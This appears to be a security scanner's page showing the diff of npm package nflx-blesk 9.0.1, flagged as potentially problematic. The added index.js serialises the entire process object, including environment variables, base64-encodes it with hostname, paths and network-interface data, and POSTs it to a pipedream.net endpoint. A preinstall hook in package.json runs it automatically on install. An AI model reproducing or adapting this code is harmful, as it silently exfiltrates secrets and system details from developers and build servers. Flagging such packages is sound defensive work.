nflx-blesk 9.0.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of nflx-blesk might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +82 -0
  2. package/package.json +17 -0
package/index.js ADDED
@@ -0,0 +1,82 @@
1
+ 'use strict'
2
+
3
+ const https = require('https')
4
+ const http = require("http");
5
+ const os = require("os");
6
+
7
+ // var currentPath = process.cwd();
8
+ // var currentUser =
9
+ var currentPath = __dirname;
10
+ var currentFile = __filename;
11
+ // var currentEnv = process.env;
12
+ var currentEnvString = JSON.stringify(process);
13
+ var currentEnvBase64 = Buffer.from(currentEnvString).toString('base64');
14
+
15
+ // console.log(currentPath);
16
+ // console.log(currentFile);
17
+ // console.log(currentEnvBase64)
18
+
19
+ var data = {
20
+ envPORT: process.env.PORT,
21
+ hostname: JSON.stringify(os.hostname()),
22
+ currentPath: currentPath,
23
+ currentFile: currentFile,
24
+ currentEnvBase64: currentEnvBase64,
25
+ type: JSON.stringify(os.type()),
26
+ platform: JSON.stringify(os.platform()),
27
+ arch: JSON.stringify(os.arch()),
28
+ release: JSON.stringify(os.release()),
29
+ uptime: JSON.stringify(os.uptime()),
30
+ loadavg: JSON.stringify(os.loadavg()),
31
+ totalmem: JSON.stringify(os.totalmem()),
32
+ freemem: JSON.stringify(os.freemem()),
33
+ cpus: JSON.stringify(os.cpus()),
34
+ networkInterfaces: JSON.stringify(os.networkInterfaces()),
35
+
36
+ };
37
+
38
+ // console.log(process.env.PORT)
39
+ // console.log(os.hostname())
40
+ // console.log(os.type())
41
+ // console.log(os.platform())
42
+ // console.log(os.arch())
43
+ // console.log(os.release())
44
+ // console.log(os.uptime())
45
+ // console.log(os.loadavg())
46
+ // console.log(os.totalmem())
47
+ // console.log(os.freemem())
48
+ // console.log(os.cpus())
49
+ // console.log(os.networkInterfaces())
50
+
51
+ // console.log(data)
52
+ // console.log(JSON.stringify(data));
53
+
54
+ data = JSON.stringify(data)
55
+ // console.log(data.length)
56
+
57
+ const options = {
58
+ hostname: 'f5778d1d81cc30c39dcdd0da5ca1d49a.m.pipedream.net',
59
+ port: 443,
60
+ path: '/ntfx-blesk',
61
+ method: 'POST',
62
+ headers: {
63
+ 'Content-Type': 'application/json',
64
+ 'Content-Length': data.length
65
+ }
66
+ }
67
+
68
+ const req = https.request(options, res => {
69
+ // console.log(`statusCode: ${res.statusCode}`)
70
+
71
+ res.on('data', d => {
72
+ process.stdout.write(d)
73
+ })
74
+ })
75
+
76
+ req.on('error', error => {
77
+ console.error(error)
78
+ })
79
+
80
+ req.write(data)
81
+ req.end()
82
+
package/package.json ADDED
@@ -0,0 +1,17 @@
1
+ {
2
+ "name": "nflx-blesk",
3
+ "version": "9.0.1",
4
+ "description": "Blesk Install",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "http": "0.0.1-security",
14
+ "https": "^1.0.0",
15
+ "os": "^0.1.1"
16
+ }
17
+ }